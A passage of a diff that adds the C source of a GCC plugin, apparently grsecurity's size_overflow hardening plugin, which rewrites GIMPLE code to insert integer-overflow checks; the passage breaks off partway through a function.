++ ++struct size_overflow_hash { ++ const struct size_overflow_hash * const next; ++ const char * const name; ++ const unsigned int param; ++}; ++ ++#include "size_overflow_hash.h" ++ ++enum marked { ++ MARKED_NO, MARKED_YES, MARKED_NOT_INTENTIONAL ++}; ++ ++#define __unused __attribute__((__unused__)) ++#define NAME(node) IDENTIFIER_POINTER(DECL_NAME(node)) ++#define NAME_LEN(node) IDENTIFIER_LENGTH(DECL_NAME(node)) ++#define BEFORE_STMT true ++#define AFTER_STMT false ++#define CREATE_NEW_VAR NULL_TREE ++#define CODES_LIMIT 32 ++#define MAX_PARAM 32 ++#define MY_STMT GF_PLF_1 ++#define NO_CAST_CHECK GF_PLF_2 ++ ++#if BUILDING_GCC_VERSION == 4005 ++#define DECL_CHAIN(NODE) (TREE_CHAIN(DECL_MINIMAL_CHECK(NODE))) ++#endif ++ ++int plugin_is_GPL_compatible; ++void debug_gimple_stmt(gimple gs); ++ ++static tree expand(struct pointer_set_t *visited, tree lhs); ++static bool pre_expand(struct pointer_set_t *visited, const_tree lhs); ++static tree report_size_overflow_decl; ++static const_tree const_char_ptr_type_node; ++static unsigned int handle_function(void); ++static void check_size_overflow(gimple stmt, tree size_overflow_type, tree cast_rhs, tree rhs, bool before); ++static tree get_size_overflow_type(gimple stmt, const_tree node); ++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3); ++ ++static struct plugin_info size_overflow_plugin_info = { ++ .version = "20120930beta", ++ .help = "no-size-overflow\tturn off size overflow checking\n", ++}; ++ ++static tree handle_size_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs) ++{ ++ unsigned int arg_count; ++ enum tree_code code = TREE_CODE(*node); ++ ++ switch (code) { ++ case FUNCTION_DECL: ++ arg_count = type_num_arguments(TREE_TYPE(*node)); ++ break; ++ case FUNCTION_TYPE: ++ case METHOD_TYPE: ++ arg_count = type_num_arguments(*node); ++ break; ++ default: ++ *no_add_attrs = true; ++ error("%s: %qE attribute only applies to functions", __func__, name); ++ return NULL_TREE; ++ } ++ ++ for (; args; args = TREE_CHAIN(args)) { ++ tree position = TREE_VALUE(args); ++ if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) < 1 || TREE_INT_CST_LOW(position) > arg_count ) { ++ error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position)); ++ *no_add_attrs = true; ++ } ++ } ++ return NULL_TREE; ++} ++ ++static const char* get_asm_name(tree node) ++{ ++ return IDENTIFIER_POINTER(DECL_ASSEMBLER_NAME(node)); ++} ++ ++static tree handle_intentional_overflow_attribute(tree *node, tree __unused name, tree args, int __unused flags, bool *no_add_attrs) ++{ ++ unsigned int arg_count, arg_num; ++ enum tree_code code = TREE_CODE(*node); ++ ++ switch (code) { ++ case FUNCTION_DECL: ++ arg_count = type_num_arguments(TREE_TYPE(*node)); ++ break; ++ case FUNCTION_TYPE: ++ case METHOD_TYPE: ++ arg_count = type_num_arguments(*node); ++ break; ++ case FIELD_DECL: ++ arg_num = TREE_INT_CST_LOW(TREE_VALUE(args)); ++ if (arg_num != 0) { ++ *no_add_attrs = true; ++ error("%s: %qE attribute parameter can only be 0 in structure fields", __func__, name); ++ } ++ return NULL_TREE; ++ default: ++ *no_add_attrs = true; ++ error("%qE attribute only applies to functions", name); ++ return NULL_TREE; ++ } ++ ++ for (; args; args = TREE_CHAIN(args)) { ++ tree position = TREE_VALUE(args); ++ if (TREE_CODE(position) != INTEGER_CST || TREE_INT_CST_HIGH(position) || TREE_INT_CST_LOW(position) > arg_count ) { ++ error("%s: parameter %u is outside range.", __func__, (unsigned int)TREE_INT_CST_LOW(position)); ++ *no_add_attrs = true; ++ } ++ } ++ return NULL_TREE; ++} ++ ++static struct attribute_spec size_overflow_attr = { ++ .name = "size_overflow", ++ .min_length = 1, ++ .max_length = -1, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_size_overflow_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static struct attribute_spec intentional_overflow_attr = { ++ .name = "intentional_overflow", ++ .min_length = 1, ++ .max_length = -1, ++ .decl_required = true, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_intentional_overflow_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = false ++#endif ++}; ++ ++static void register_attributes(void __unused *event_data, void __unused *data) ++{ ++ register_attribute(&size_overflow_attr); ++ register_attribute(&intentional_overflow_attr); ++} ++ ++// http://www.team5150.com/~andrew/noncryptohashzoo2~/CrapWow.html ++static unsigned int CrapWow(const char *key, unsigned int len, unsigned int seed) ++{ ++#define cwfold( a, b, lo, hi ) { p = (unsigned int)(a) * (unsigned long long)(b); lo ^= (unsigned int)p; hi ^= (unsigned int)(p >> 32); } ++#define cwmixa( in ) { cwfold( in, m, k, h ); } ++#define cwmixb( in ) { cwfold( in, n, h, k ); } ++ ++ unsigned int m = 0x57559429; ++ unsigned int n = 0x5052acdb; ++ const unsigned int *key4 = (const unsigned int *)key; ++ unsigned int h = len; ++ unsigned int k = len + seed + n; ++ unsigned long long p; ++ ++ while (len >= 8) { ++ cwmixb(key4[0]) cwmixa(key4[1]) key4 += 2; ++ len -= 8; ++ } ++ if (len >= 4) { ++ cwmixb(key4[0]) key4 += 1; ++ len -= 4; ++ } ++ if (len) ++ cwmixa(key4[0] & ((1 << (len * 8)) - 1 )); ++ cwmixb(h ^ (k + n)); ++ return k ^ h; ++ ++#undef cwfold ++#undef cwmixa ++#undef cwmixb ++} ++ ++static inline unsigned int get_hash_num(const char *fndecl, const char *tree_codes, unsigned int len, unsigned int seed) ++{ ++ unsigned int fn = CrapWow(fndecl, strlen(fndecl), seed) & 0xffff; ++ unsigned int codes = CrapWow(tree_codes, len, seed) & 0xffff; ++ return fn ^ codes; ++} ++ ++static inline tree get_original_function_decl(tree fndecl) ++{ ++ if (DECL_ABSTRACT_ORIGIN(fndecl)) ++ return DECL_ABSTRACT_ORIGIN(fndecl); ++ return fndecl; ++} ++ ++static inline gimple get_def_stmt(const_tree node) ++{ ++ gcc_assert(node != NULL_TREE); ++ gcc_assert(TREE_CODE(node) == SSA_NAME); ++ return SSA_NAME_DEF_STMT(node); ++} ++ ++static unsigned char get_tree_code(const_tree type) ++{ ++ switch (TREE_CODE(type)) { ++ case ARRAY_TYPE: ++ return 0; ++ case BOOLEAN_TYPE: ++ return 1; ++ case ENUMERAL_TYPE: ++ return 2; ++ case FUNCTION_TYPE: ++ return 3; ++ case INTEGER_TYPE: ++ return 4; ++ case POINTER_TYPE: ++ return 5; ++ case RECORD_TYPE: ++ return 6; ++ case UNION_TYPE: ++ return 7; ++ case VOID_TYPE: ++ return 8; ++ case REAL_TYPE: ++ return 9; ++ case VECTOR_TYPE: ++ return 10; ++ case REFERENCE_TYPE: ++ return 11; ++ case OFFSET_TYPE: ++ return 12; ++ case COMPLEX_TYPE: ++ return 13; ++ default: ++ debug_tree((tree)type); ++ gcc_unreachable(); ++ } ++} ++ ++static size_t add_type_codes(const_tree type, unsigned char *tree_codes, size_t len) ++{ ++ gcc_assert(type != NULL_TREE); ++ ++ while (type && len < CODES_LIMIT) { ++ tree_codes[len] = get_tree_code(type); ++ len++; ++ type = TREE_TYPE(type); ++ } ++ return len; ++} ++ ++static unsigned int get_function_decl(const_tree fndecl, unsigned char *tree_codes) ++{ ++ const_tree arg, result, arg_field, type = TREE_TYPE(fndecl); ++ enum tree_code code = TREE_CODE(type); ++ size_t len = 0; ++ ++ gcc_assert(code == FUNCTION_TYPE || code == METHOD_TYPE); ++ ++ arg = TYPE_ARG_TYPES(type); ++ // skip builtins __builtin_constant_p ++ if (!arg && DECL_BUILT_IN(fndecl)) ++ return 0; ++ ++ if (TREE_CODE_CLASS(code) == tcc_type) ++ result = type; ++ else ++ result = DECL_RESULT(fndecl); ++ ++ gcc_assert(result != NULL_TREE); ++ len = add_type_codes(TREE_TYPE(result), tree_codes, len); ++ ++ if (arg == NULL_TREE) { ++ gcc_assert(CODE_CONTAINS_STRUCT(TREE_CODE(fndecl), TS_DECL_NON_COMMON)); ++ arg_field = DECL_ARGUMENT_FLD(fndecl); ++ if (arg_field == NULL_TREE) ++ return 0; ++ arg = TREE_TYPE(arg_field); ++ len = add_type_codes(arg, tree_codes, len); ++ gcc_assert(len != 0); ++ return len; ++ } ++ ++ gcc_assert(arg != NULL_TREE && TREE_CODE(arg) == TREE_LIST); ++ while (arg && len < CODES_LIMIT) { ++ len = add_type_codes(TREE_VALUE(arg), tree_codes, len); ++ arg = TREE_CHAIN(arg); ++ } ++ ++ gcc_assert(len != 0); ++ return len; ++} ++ ++static const struct size_overflow_hash *get_function_hash(tree fndecl) ++{ ++ unsigned int hash; ++ const struct size_overflow_hash *entry; ++ unsigned char tree_codes[CODES_LIMIT]; ++ size_t len; ++ const char *func_name = get_asm_name(fndecl); ++ ++ len = get_function_decl(fndecl, tree_codes); ++ if (len == 0) ++ return NULL; ++ ++ hash = get_hash_num(func_name, (const char*) tree_codes, len, 0); ++ ++ entry = size_overflow_hash[hash]; ++ while (entry) { ++ if (!strcmp(entry->name, func_name)) ++ return entry; ++ entry = entry->next; ++ } ++ ++ return NULL; ++} ++ ++static void check_arg_type(const_tree arg) ++{ ++ const_tree type = TREE_TYPE(arg); ++ enum tree_code code = TREE_CODE(type); ++ ++ gcc_assert(code == INTEGER_TYPE || code == ENUMERAL_TYPE || ++ (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == VOID_TYPE) || ++ (code == POINTER_TYPE && TREE_CODE(TREE_TYPE(type)) == INTEGER_TYPE)); ++} ++ ++static int find_arg_number(const_tree arg, tree func) ++{ ++ tree var; ++ unsigned int argnum = 1; ++ ++ if (TREE_CODE(arg) == SSA_NAME) ++ arg = SSA_NAME_VAR(arg); ++ ++ for (var = DECL_ARGUMENTS(func); var; var = TREE_CHAIN(var)) { ++ if (strcmp(NAME(arg), NAME(var))) { ++ argnum++; ++ continue; ++ } ++ check_arg_type(var); ++ return argnum; ++ } ++ gcc_unreachable(); ++} ++ ++static tree create_new_var(tree type) ++{ ++ tree new_var = create_tmp_var(type, "cicus"); ++ ++ add_referenced_var(new_var); ++ mark_sym_for_renaming(new_var); ++ return new_var; ++} ++ ++static gimple create_binary_assign(enum tree_code code, gimple stmt, tree rhs1, tree rhs2) ++{ ++ gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree type = TREE_TYPE(rhs1); ++ tree lhs = create_new_var(type); ++ ++ assign = gimple_build_assign_with_ops(code, lhs, rhs1, rhs2); ++ gimple_set_lhs(assign, make_ssa_name(lhs, assign)); ++ ++ gsi_insert_before(&gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ gimple_set_plf(assign, MY_STMT, true); ++ return assign; ++} ++ ++static bool is_bool(const_tree node) ++{ ++ const_tree type; ++ ++ if (node == NULL_TREE) ++ return false; ++ ++ type = TREE_TYPE(node); ++ if (!INTEGRAL_TYPE_P(type)) ++ return false; ++ if (TREE_CODE(type) == BOOLEAN_TYPE) ++ return true; ++ if (TYPE_PRECISION(type) == 1) ++ return true; ++ return false; ++} ++ ++static tree cast_a_tree(tree type, tree var) ++{ ++ gcc_assert(type != NULL_TREE); ++ gcc_assert(var != NULL_TREE); ++ gcc_assert(fold_convertible_p(type, var)); ++ ++ return fold_convert(type, var); ++} ++ ++static gimple build_cast_stmt(tree dst_type, tree rhs, tree lhs, gimple_stmt_iterator *gsi, bool before) ++{ ++ gimple assign; ++ ++ gcc_assert(dst_type != NULL_TREE && rhs != NULL_TREE); ++ if (gsi_end_p(*gsi) && before == AFTER_STMT) ++ gcc_unreachable(); ++ ++ if (lhs == CREATE_NEW_VAR) ++ lhs = create_new_var(dst_type); ++ ++ assign = gimple_build_assign(lhs, cast_a_tree(dst_type, rhs)); ++ ++ if (!gsi_end_p(*gsi)) { ++ location_t loc = gimple_location(gsi_stmt(*gsi)); ++ gimple_set_location(assign, loc); ++ } ++ ++ gimple_set_lhs(assign, make_ssa_name(lhs, assign)); ++ ++ if (before) ++ gsi_insert_before(gsi, assign, GSI_NEW_STMT); ++ else ++ gsi_insert_after(gsi, assign, GSI_NEW_STMT); ++ update_stmt(assign); ++ gimple_set_plf(assign, MY_STMT, true); ++ ++ return assign; ++} ++ ++static tree cast_to_new_size_overflow_type(gimple stmt, tree new_rhs1, tree size_overflow_type, bool before) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi; ++ ++ if (new_rhs1 == NULL_TREE) ++ return NULL_TREE; ++ ++ if (!useless_type_conversion_p(TREE_TYPE(new_rhs1), size_overflow_type)) { ++ gsi = gsi_for_stmt(stmt); ++ assign = build_cast_stmt(size_overflow_type, new_rhs1, CREATE_NEW_VAR, &gsi, before); ++ return gimple_get_lhs(assign); ++ } ++ return new_rhs1; ++} ++ ++static tree follow_overflow_type_and_dup(struct pointer_set_t *visited, gimple stmt, const_tree node, tree new_rhs1, tree new_rhs2, tree new_rhs3) ++{ ++ tree size_overflow_type = get_size_overflow_type(stmt, node); ++ ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ if (new_rhs2 != NULL_TREE) ++ new_rhs2 = cast_to_new_size_overflow_type(stmt, new_rhs2, size_overflow_type, BEFORE_STMT); ++ ++ if (new_rhs3 != NULL_TREE) ++ new_rhs3 = cast_to_new_size_overflow_type(stmt, new_rhs3, size_overflow_type, BEFORE_STMT); ++ ++ return dup_assign(visited, stmt, size_overflow_type, new_rhs1, new_rhs2, new_rhs3); ++} ++ ++ ++static tree create_assign(struct pointer_set_t *visited, gimple oldstmt, tree rhs1, bool before) ++{ ++ tree size_overflow_type, lhs; ++ gimple stmt; ++ gimple_stmt_iterator gsi; ++ ++ if (rhs1 == NULL_TREE) { ++ debug_gimple_stmt(oldstmt); ++ error("%s: rhs1 is NULL_TREE", __func__); ++ gcc_unreachable(); ++ } ++ ++ if (gimple_code(oldstmt) == GIMPLE_ASM) ++ lhs = rhs1; ++ else ++ lhs = gimple_get_lhs(oldstmt); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ pointer_set_insert(visited, oldstmt); ++ if (lookup_stmt_eh_lp(oldstmt) != 0) { ++ basic_block next_bb, cur_bb; ++ const_edge e; ++ ++ gcc_assert(before == false); ++ gcc_assert(stmt_can_throw_internal(oldstmt)); ++ gcc_assert(gimple_code(oldstmt) == GIMPLE_CALL); ++ gcc_assert(!gsi_end_p(gsi)); ++ ++ cur_bb = gimple_bb(oldstmt); ++ next_bb = cur_bb->next_bb; ++ e = find_edge(cur_bb, next_bb); ++ gcc_assert(e != NULL); ++ gcc_assert(e->flags & EDGE_FALLTHRU); ++ ++ gsi = gsi_after_labels(next_bb); ++ gcc_assert(!gsi_end_p(gsi)); ++ ++ before = true; ++ oldstmt = gsi_stmt(gsi); ++ } ++ ++ size_overflow_type = get_size_overflow_type(oldstmt, lhs); ++ ++ stmt = build_cast_stmt(size_overflow_type, rhs1, CREATE_NEW_VAR, &gsi, before); ++ gimple_set_plf(stmt, MY_STMT, true); ++ return gimple_get_lhs(stmt); ++} ++ ++static tree dup_assign(struct pointer_set_t *visited, gimple oldstmt, tree size_overflow_type, tree rhs1, tree rhs2, tree __unused rhs3) ++{ ++ gimple stmt; ++ gimple_stmt_iterator gsi; ++ tree new_var, lhs = gimple_get_lhs(oldstmt); ++ ++ if (gimple_plf(oldstmt, MY_STMT)) ++ return lhs; ++ ++ if (gimple_num_ops(oldstmt) != 4 && rhs1 == NULL_TREE) { ++ rhs1 = gimple_assign_rhs1(oldstmt); ++ rhs1 = create_assign(visited, oldstmt, rhs1, BEFORE_STMT); ++ } ++ if (gimple_num_ops(oldstmt) == 3 && rhs2 == NULL_TREE) { ++ rhs2 = gimple_assign_rhs2(oldstmt); ++ rhs2 = create_assign(visited, oldstmt, rhs2, BEFORE_STMT); ++ } ++ ++ stmt = gimple_copy(oldstmt); ++ gimple_set_location(stmt, gimple_location(oldstmt)); ++ gimple_set_plf(stmt, MY_STMT, true); ++ ++ if (gimple_assign_rhs_code(oldstmt) == WIDEN_MULT_EXPR) ++ gimple_assign_set_rhs_code(stmt, MULT_EXPR); ++ ++ if (is_bool(lhs)) ++ new_var = SSA_NAME_VAR(lhs); ++ else ++ new_var = create_new_var(size_overflow_type); ++ new_var = make_ssa_name(new_var, stmt); ++ gimple_set_lhs(stmt, new_var); ++ ++ if (rhs1 != NULL_TREE) { ++ if (!gimple_assign_cast_p(oldstmt)) ++ rhs1 = cast_a_tree(size_overflow_type, rhs1); ++ gimple_assign_set_rhs1(stmt, rhs1); ++ } ++ ++ if (rhs2 != NULL_TREE) ++ gimple_assign_set_rhs2(stmt, rhs2); ++#if BUILDING_GCC_VERSION >= 4007 ++ if (rhs3 != NULL_TREE) ++ gimple_assign_set_rhs3(stmt, rhs3); ++#endif ++ gimple_set_vuse(stmt, gimple_vuse(oldstmt)); ++ gimple_set_vdef(stmt, gimple_vdef(oldstmt)); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ gsi_insert_after(&gsi, stmt, GSI_SAME_STMT); ++ update_stmt(stmt); ++ pointer_set_insert(visited, oldstmt); ++ return gimple_get_lhs(stmt); ++} ++ ++static gimple overflow_create_phi_node(gimple oldstmt, tree result) ++{ ++ basic_block bb; ++ gimple phi; ++ gimple_stmt_iterator gsi = gsi_for_stmt(oldstmt); ++ ++ bb = gsi_bb(gsi); ++ ++ phi = create_phi_node(result, bb); ++ gsi = gsi_last(phi_nodes(bb)); ++ gsi_remove(&gsi, false); ++ ++ gsi = gsi_for_stmt(oldstmt); ++ gsi_insert_after(&gsi, phi, GSI_NEW_STMT); ++ gimple_set_bb(phi, bb); ++ gimple_set_plf(phi, MY_STMT, true); ++ return phi; ++} ++ ++static basic_block create_a_first_bb(void) ++{ ++ basic_block first_bb; ++ ++ first_bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest; ++ if (dom_info_available_p(CDI_DOMINATORS)) ++ set_immediate_dominator(CDI_DOMINATORS, first_bb, ENTRY_BLOCK_PTR); ++ return first_bb; ++} ++ ++static tree cast_old_phi_arg(gimple oldstmt, tree size_overflow_type, tree arg, tree new_var, unsigned int i) ++{ ++ basic_block bb; ++ const_gimple newstmt; ++ gimple_stmt_iterator gsi; ++ bool before = BEFORE_STMT; ++ ++ if (TREE_CODE(arg) == SSA_NAME && gimple_code(get_def_stmt(arg)) != GIMPLE_NOP) { ++ gsi = gsi_for_stmt(get_def_stmt(arg)); ++ newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, AFTER_STMT); ++ return gimple_get_lhs(newstmt); ++ } ++ ++ bb = gimple_phi_arg_edge(oldstmt, i)->src; ++ gsi = gsi_after_labels(bb); ++ if (bb->index == 0) { ++ bb = create_a_first_bb(); ++ gsi = gsi_start_bb(bb); ++ } ++ newstmt = build_cast_stmt(size_overflow_type, arg, new_var, &gsi, before); ++ return gimple_get_lhs(newstmt); ++} ++ ++static const_gimple handle_new_phi_arg(const_tree arg, tree new_var, tree new_rhs) ++{ ++ gimple newstmt; ++ gimple_stmt_iterator gsi; ++ void (*gsi_insert)(gimple_stmt_iterator *, gimple, enum gsi_iterator_update); ++ gimple def_newstmt = get_def_stmt(new_rhs); ++ ++ gsi_insert = gsi_insert_after; ++ gsi = gsi_for_stmt(def_newstmt); ++ ++ switch (gimple_code(get_def_stmt(arg))) { ++ case GIMPLE_PHI: ++ newstmt = gimple_build_assign(new_var, new_rhs); ++ gsi = gsi_after_labels(gimple_bb(def_newstmt)); ++ gsi_insert = gsi_insert_before; ++ break; ++ case GIMPLE_ASM: ++ case GIMPLE_CALL: ++ newstmt = gimple_build_assign(new_var, new_rhs); ++ break; ++ case GIMPLE_ASSIGN: ++ newstmt = gimple_build_assign(new_var, gimple_get_lhs(def_newstmt)); ++ break; ++ default: ++ /* unknown gimple_code (handle_build_new_phi_arg) */ ++ gcc_unreachable(); ++ } ++ ++ gimple_set_lhs(newstmt, make_ssa_name(new_var, newstmt)); ++ gsi_insert(&gsi, newstmt, GSI_NEW_STMT); ++ gimple_set_plf(newstmt, MY_STMT, true); ++ update_stmt(newstmt); ++ return newstmt; ++} ++ ++static tree build_new_phi_arg(struct pointer_set_t *visited, tree size_overflow_type, tree arg, tree new_var) ++{ ++ const_gimple newstmt; ++ gimple def_stmt; ++ tree new_rhs; ++ ++ new_rhs = expand(visited, arg); ++ if (new_rhs == NULL_TREE) ++ return NULL_TREE; ++ ++ def_stmt = get_def_stmt(new_rhs); ++ if (gimple_code(def_stmt) == GIMPLE_NOP) ++ return NULL_TREE; ++ new_rhs = cast_to_new_size_overflow_type(def_stmt, new_rhs, size_overflow_type, AFTER_STMT); ++ ++ newstmt = handle_new_phi_arg(arg, new_var, new_rhs); ++ return gimple_get_lhs(newstmt); ++} ++ ++static tree build_new_phi(struct pointer_set_t *visited, tree orig_result) ++{ ++ gimple phi, oldstmt = get_def_stmt(orig_result); ++ tree new_result, size_overflow_type; ++ unsigned int i; ++ unsigned int n = gimple_phi_num_args(oldstmt); ++ ++ size_overflow_type = get_size_overflow_type(oldstmt, orig_result); ++ ++ new_result = create_new_var(size_overflow_type); ++ ++ pointer_set_insert(visited, oldstmt); ++ phi = overflow_create_phi_node(oldstmt, new_result); ++ for (i = 0; i < n; i++) { ++ tree arg, lhs; ++ ++ arg = gimple_phi_arg_def(oldstmt, i); ++ if (is_gimple_constant(arg)) ++ arg = cast_a_tree(size_overflow_type, arg); ++ lhs = build_new_phi_arg(visited, size_overflow_type, arg, new_result); ++ if (lhs == NULL_TREE) ++ lhs = cast_old_phi_arg(oldstmt, size_overflow_type, arg, new_result, i); ++ add_phi_arg(phi, lhs, gimple_phi_arg_edge(oldstmt, i), gimple_location(oldstmt)); ++ } ++ ++ update_stmt(phi); ++ return gimple_phi_result(phi); ++} ++ ++static tree change_assign_rhs(gimple stmt, const_tree orig_rhs, tree new_rhs) ++{ ++ const_gimple assign; ++ gimple_stmt_iterator gsi = gsi_for_stmt(stmt); ++ tree origtype = TREE_TYPE(orig_rhs); ++ ++ gcc_assert(gimple_code(stmt) == GIMPLE_ASSIGN); ++ ++ assign = build_cast_stmt(origtype, new_rhs, CREATE_NEW_VAR, &gsi, BEFORE_STMT); ++ return gimple_get_lhs(assign); ++} ++ ++static void change_rhs1(gimple stmt, tree new_rhs1) ++{ ++ tree assign_rhs; ++ const_tree rhs = gimple_assign_rhs1(stmt); ++ ++ assign_rhs = change_assign_rhs(stmt, rhs, new_rhs1); ++ gimple_assign_set_rhs1(stmt, assign_rhs); ++ update_stmt(stmt); ++} ++ ++static bool check_mode_type(const_gimple stmt) ++{ ++ const_tree lhs = gimple_get_lhs(stmt); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ const_tree rhs_type = TREE_TYPE(gimple_assign_rhs1(stmt)); ++ enum machine_mode lhs_mode = TYPE_MODE(lhs_type); ++ enum machine_mode rhs_mode = TYPE_MODE(rhs_type); ++ ++ if (rhs_mode == lhs_mode && TYPE_UNSIGNED(rhs_type) == TYPE_UNSIGNED(lhs_type)) ++ return false; ++ ++ if (rhs_mode == SImode && lhs_mode == DImode && (TYPE_UNSIGNED(rhs_type) || !TYPE_UNSIGNED(lhs_type))) ++ return false; ++ ++ return true; ++} ++ ++static bool check_undefined_integer_operation(const_gimple stmt) ++{ ++ const_gimple def_stmt; ++ const_tree lhs = gimple_get_lhs(stmt); ++ const_tree rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs1_type = TREE_TYPE(rhs1); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ ++ if (TYPE_MODE(rhs1_type) != TYPE_MODE(lhs_type) || TYPE_UNSIGNED(rhs1_type) == TYPE_UNSIGNED(lhs_type)) ++ return false; ++ ++ def_stmt = get_def_stmt(rhs1); ++ if (gimple_code(def_stmt) != GIMPLE_ASSIGN) ++ return false; ++ ++ if (gimple_assign_rhs_code(def_stmt) != MINUS_EXPR) ++ return false; ++ return true; ++} ++ ++static bool is_a_cast_and_const_overflow(const_tree no_const_rhs) ++{ ++ const_tree rhs1, lhs, rhs1_type, lhs_type; ++ enum machine_mode lhs_mode, rhs_mode; ++ gimple def_stmt = get_def_stmt(no_const_rhs); ++ ++ if (!gimple_assign_cast_p(def_stmt)) ++ return false; ++ ++ rhs1 = gimple_assign_rhs1(def_stmt); ++ lhs = gimple_get_lhs(def_stmt); ++ rhs1_type = TREE_TYPE(rhs1); ++ lhs_type = TREE_TYPE(lhs); ++ rhs_mode = TYPE_MODE(rhs1_type); ++ lhs_mode = TYPE_MODE(lhs_type); ++ if (TYPE_UNSIGNED(lhs_type) == TYPE_UNSIGNED(rhs1_type) || lhs_mode != rhs_mode) ++ return false; ++ ++ return true; ++} ++ ++static tree handle_unary_rhs(struct pointer_set_t *visited, gimple stmt) ++{ ++ tree size_overflow_type, lhs = gimple_get_lhs(stmt); ++ tree new_rhs1, rhs1 = gimple_assign_rhs1(stmt); ++ const_tree rhs1_type = TREE_TYPE(rhs1); ++ const_tree lhs_type = TREE_TYPE(lhs); ++ ++ new_rhs1 = expand(visited, rhs1); ++ ++ if (new_rhs1 == NULL_TREE || TREE_CODE(rhs1_type) == POINTER_TYPE) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ if (gimple_plf(stmt, MY_STMT)) ++ return lhs; ++ ++ if (gimple_plf(stmt, NO_CAST_CHECK)) ++ return follow_overflow_type_and_dup(visited, stmt, rhs1, new_rhs1, NULL_TREE, NULL_TREE); ++ ++ if (gimple_assign_rhs_code(stmt) == BIT_NOT_EXPR) { ++ size_overflow_type = get_size_overflow_type(stmt, rhs1); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT); ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ } ++ ++ if (!gimple_assign_cast_p(stmt) || check_undefined_integer_operation(stmt)) ++ return follow_overflow_type_and_dup(visited, stmt, lhs, new_rhs1, NULL_TREE, NULL_TREE); ++ ++ size_overflow_type = get_size_overflow_type(stmt, rhs1); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ change_rhs1(stmt, new_rhs1); ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, rhs1, BEFORE_STMT); ++ ++ rhs1 = gimple_assign_rhs1(stmt); ++ rhs1_type = TREE_TYPE(rhs1); ++ if (TYPE_UNSIGNED(rhs1_type) != TYPE_UNSIGNED(lhs_type)) ++ return create_assign(visited, stmt, rhs1, AFTER_STMT); ++ ++ if (!check_mode_type(stmt)) ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++ ++ size_overflow_type = get_size_overflow_type(stmt, lhs); ++ new_rhs1 = cast_to_new_size_overflow_type(stmt, new_rhs1, size_overflow_type, BEFORE_STMT); ++ ++ check_size_overflow(stmt, size_overflow_type, new_rhs1, lhs, BEFORE_STMT); ++ ++ return create_assign(visited, stmt, lhs, AFTER_STMT); ++} ++ ++static tree handle_unary_ops(struct pointer_set_t *visited, tree lhs) ++{ ++ gimple def_stmt = get_def_stmt(lhs); ++ tree rhs1 = gimple_assign_rhs1(def_stmt); ++ ++ if (is_gimple_constant(rhs1)) ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ ++ gcc_assert(TREE_CODE(rhs1) != COND_EXPR); ++ switch (TREE_CODE(rhs1)) { ++ case SSA_NAME: ++ return handle_unary_rhs(visited, def_stmt); ++ case ARRAY_REF: ++ case BIT_FIELD_REF: ++ case ADDR_EXPR: ++ case COMPONENT_REF: ++ case INDIRECT_REF: ++#if BUILDING_GCC_VERSION >= 4006 ++ case MEM_REF: ++#endif ++ case PARM_DECL: ++ case TARGET_MEM_REF: ++ case VAR_DECL: ++ return create_assign(visited, def_stmt, lhs, AFTER_STMT); ++ ++ default: ++ debug_gimple_stmt(def_stmt); ++ debug_tree(rhs1); ++ gcc_unreachable(); ++ } ++} ++ ++static void insert_cond(basic_block cond_bb, tree arg, enum tree_code cond_code, tree type_value) ++{ ++ gimple cond_stmt; ++ gimple_stmt_iterator gsi = gsi_last_bb(cond_bb); ++ ++ cond_stmt = gimple_build_cond(cond_code, arg, type_value, NULL_TREE, NULL_TREE); ++ gsi_insert_after(&gsi, cond_stmt, GSI_CONTINUE_LINKING); ++ update_stmt(cond_stmt); ++} ++ ++static tree create_string_param(tree string) ++{ ++ tree i_type, a_type; ++ const int length = TREE_STRING_LENGTH(string); ++ ++ gcc_assert(length > 0); ++ ++ i_type = build_index_type(build_int_cst(NULL_TREE, length - 1)); ++ a_type = build_array_type(char_type_node, i_type); ++ ++ TREE_TYPE(string) = a_type; ++ TREE_CONSTANT(string) = 1; ++ TREE_READONLY(string) = 1; ++ ++ return build1(ADDR_EXPR, ptr_type_node, string); ++} ++ ++static void insert_cond_result(basic_block bb_true, const_gimple stmt, const_tree arg, bool min) ++{ ++ gimple func_stmt; ++ const_gimple def_stmt; ++ const_tree loc_line; ++ tree loc_file, ssa_name, current_func; ++ expanded_location xloc; ++ char ssa_name_buf[256]; ++ gimple_stmt_iterator gsi = gsi_start_bb(bb_true); ++ ++ def_stmt = get_def_stmt(arg); ++ xloc = expand_location(gimple_location(def_stmt)); ++ ++ if (!gimple_has_location(def_stmt)) { ++ xloc = expand_location(gimple_location(stmt)); ++ if (!gimple_has_location(stmt)) ++ xloc = 